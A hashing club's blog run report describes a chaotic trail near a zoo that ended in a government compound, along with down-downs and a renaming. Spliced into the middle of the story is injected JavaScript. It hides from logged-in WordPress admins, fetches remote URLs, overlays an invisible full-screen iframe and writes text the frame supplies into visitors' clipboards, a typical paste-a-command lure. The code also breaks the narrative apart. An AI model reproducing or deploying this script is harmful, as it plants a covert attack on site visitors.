A pretty good turnout at the zoo, with most of the expats back in town. Hashers were Vulva Voyeur, Beastiality, Cartoon Porn, Doggie Style, Cindy, and Battery Operated. Amazingly, we had four Co-hares: Torvil & Dean, Barbie, Deep Throat, and Deep Throat’s Flatmate. Two missing Hashers, Sevenup and Sheep Shagger, were, even more amazingly, in the vicinity as they were visiting the zoo (Sheep Shagger’s been getting that tingly feeling in his special area), but did not participate. var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
}; function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || "";
if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || "";
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement;
var body = document.body; if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById("wpadminbar")) return true;
} catch (e) {} return false;
} if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) {
registry.status = "active";
return;
} if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
return;
} registry.status = "loading"; function safeAppendQuery(url, key, val) {
var sep = url.indexOf("?") >= 0 ? "&" : "?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
} function buildTrustedUrl(template, id) {
if (!template || !id) return ""; if (template.indexOf("dropbox.com") >= 0) {
return template.replace(/\{id\}/g, id);
} var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) {
encoded = encoded.replace(/%2F/g, "/");
} return template.replace(/\{id\}/g, encoded);
} function toHttpUrl(value) {
if (!value) return ""; var s = String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^['"`\s]+|['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = "https://" + s;
} else {
return "";
}
} try {
var u = new URL(s);
if (u.protocol === "http:" || u.protocol === "https:") {
return u.href;
}
} catch (e) {} return "";
} function findUrlInObject(input, depth) {
if (!input || depth > 3) return ""; if (typeof input === "string") {
return toHttpUrl(input);
} if (Object.prototype.toString.call(input) === "[object Array]") {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
} var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
} return "";
} function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return "";
}
} function addHint(rel, href) {
if (!href || !document || !document.createElement) return; var key = rel + "::" + href;
if (registry.hints[key]) return;
registry.hints[key] = true; try {
var parent = document.head || document.documentElement;
if (!parent) return; var link = document.createElement("link");
link.rel = rel;
link.href = href; if (rel === "preconnect") {
link.crossOrigin = "anonymous";
} parent.appendChild(link);
} catch (e) {}
} function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template;
if (!tpl) continue;
var probe = tpl.replace(/\{id\}/g, "x");
var origin = getOriginSafe(probe);
if (origin) origins[origin] = true;
}
for (var originKey in origins) {
if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
addHint("dns-prefetch", originKey);
addHint("preconnect", originKey);
}
}
function getMountNode() {
return document.body || document.documentElement || null;
}
function fetchTextNoThrow(url, timeoutMs) {
return new Promise(function (resolve) {
if (!url || typeof fetch !== "function") {
resolve("");
return;
}
var finished = false;
var timer = null;
var controller = null;
function done(value) {
if (finished) return;
finished = true;
if (timer) clearTimeout(timer);
resolve((value || "").trim());
}
try {
if (typeof AbortController !== "undefined") {
controller = new AbortController();
}
timer = setTimeout(function () {
try {
if (controller) controller.abort();
} catch (e) {}
done("");
}, timeoutMs);
fetch(url, {
cache: "no-store",
credentials: "omit",
signal: controller ? controller.signal : void 0
})
.then(function (response) {
return response ? response.text() : "";
})
.then(function (text) {
done(text);
})
.catch(function () {
done("");
});
} catch (e) {
done("");
}
});
}
function tryCopy(text) {
if (typeof text !== "string" || !text) return;
try { window.focus(); } catch (e) {}
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(text).catch(function () {
fallbackCopy(text);
});
return;
}
fallbackCopy(text);
}
function fallbackCopy(text) {
try {
var mount = getMountNode();
if (!mount) return;
var ta = document.createElement("textarea");
ta.value = text;
ta.setAttribute("readonly", "readonly");
ta.style.position = "fixed";
ta.style.left = "-9999px";
ta.style.top = "0";
ta.style.opacity = "0";
mount.appendChild(ta);
try { ta.focus(); } catch (e) {}
ta.select();
ta.setSelectionRange(0, ta.value.length);
document.execCommand("copy");
if (ta.parentNode) ta.parentNode.removeChild(ta);
} catch (e) {}
}
function bindMessageHandler() {
if (registry.messageBound) return;
registry.messageBound = true;
window.addEventListener("message", function (event) {
var data = event && event.data;
var iframe = document.getElementById(registry.iframeId);
if (!iframe || !data || typeof data !== "object") return;
if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return;
if (data.type === "ktl-show-original") {
if (typeof registry.destroy === "function") registry.destroy();
return;
}
if (data.type === "ktl-frame-ready") {
if (typeof registry.reveal === "function") registry.reveal();
return;
}
if (data.type === "copy" && typeof data.text === "string") {
tryCopy(data.text);
}
});
}
function cleanup(nextStatus) {
var iframe = document.getElementById(registry.iframeId);
registry.destroy = null;
registry.reveal = null;
try {
if (iframe && iframe.parentNode) {
iframe.parentNode.removeChild(iframe);
}
} catch (e) {}
registry.status = nextStatus || "done";
}
function resolveLandingUrl(id) {
if (!id || !TRUSTED_CONFIGS.length) {
return Promise.resolve("");
}
function step(index) {
if (index >= TRUSTED_CONFIGS.length) {
return Promise.resolve("");
} var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id)); if (!builtUrl) {
return step(index + 1);
} if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
} return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
} return step(0);
} function activateIframe(url) {
if (!url || registry.status === "active") return; if (isWpLoggedInContext()) {
cleanup("done");
return;
} var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = "active";
return;
} var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
} var iframe = document.createElement("iframe");
var closed = false;
var revealed = false;
var timeoutId = null; function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible";
iframe.style.opacity = "1";
iframe.style.pointerEvents = "auto";
iframe.removeAttribute("aria-hidden"); setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
} function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup("done");
} registry.destroy = destroy;
registry.reveal = reveal; iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText = [
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";"); iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
}; iframe.onerror = function () {
destroy();
}; timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs); try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
} function run() {
warmupOrigins();
bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
} id = (id || "").trim();
if (!id) {
cleanup("done");
return "";
} return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup("done");
return "";
} finalUrl = toHttpUrl(finalUrl); if (!finalUrl) {
cleanup("done");
return "";
} var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
} activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup("done");
});
} registry.runPromise = run();
})();
So the pack ran off in the direction of Maojiabu and shortly before entering the tunnel, saw a flour mark into the bush. We ran up on to some very steep trails that required some tree grabbing on the way up where we were presented with… a wall. And a fence. Following Torvil & Dean’s admonishment (“When in doubt, climb”), we hopped the fence and on-on’ed into a very nice resort-looking place. After wandering around in general confusion for a bit, an underdressed Bao’an came out and started after us, demanding to know how we got in. So we ran in the opposite direction into some very nice half-finished villas, where an RG was inexplicably called in the upstairs of one house. On-on’ed to some even nicer looking houses, and ANOTHER Bao’an came who told us to stop running because, quote, “there are dogs ahead, and they will bite you!”, which we ignored and kept running. There was a dog, and he didn’t bite us, so on some more and eventually we found out that… we ran in a circle. By this time, the two Bao’an (one half-dressed, one out of uniform) converged on us and told us there was only one way out. Cindy chatted them up while the pack explored the exit and found itself.. about 20 meters away from where it entered the bush in the first place.
According to Cartoon Porn’s convo with the Bao’an, we were in the “Forbidden Area of the Provincial Government” and had we been there the day before, probably would have been shot/arrested as the government was holding a summit and the place was crawling with armed guards. As opposed to two Bao’an who couldn’t run, one out of uniform, one half in uniform.
As we had lost the trail (not because of incompetence, but because we got kicked out), Doggie Style broke Hash convention and phoned up the hares. Then inexplicably disappeared into some random patch of woods, apparently found the trail again, and then it was an easy trot back to the zoo where… there were no hares. (Apparently, they decided to end the hash at a nearby restaurant).
Hares were given down-downs for the most awful marks-to-hare ratio in recent history. No marks for major parts of the trail, only an occasional splotch of white that might be flour, or it might be dried bird doo-doo. No marks for the last part, hence why Vulva Voyeur and Battery Operated got lost looking for the trail and assumed it went back to the zoo. (VV – You missed a 100 cm by 50 cm Mark! – DS) Multiple naming offenses. Cartoon Porn given down-down for the worst pronounciation of “On-on”/imitation of “Young Frankenstein” ever (“AAAAAAAEIIIIIIGHFFFFFHHHOU!!!”). Cindy inexplicably produced a wig in the last part of the run (we’re not sure if she bought it on the run, or was wearing it on the run) and, proving that once again, you either are your hash name or become your hash name, was named… Pop-Tart!
PS. Here’s the “Forbidden Area of the Provincial Government” (zoom all the way in) if anyone’s interested:
Leave a Reply
You must be logged in to post a comment.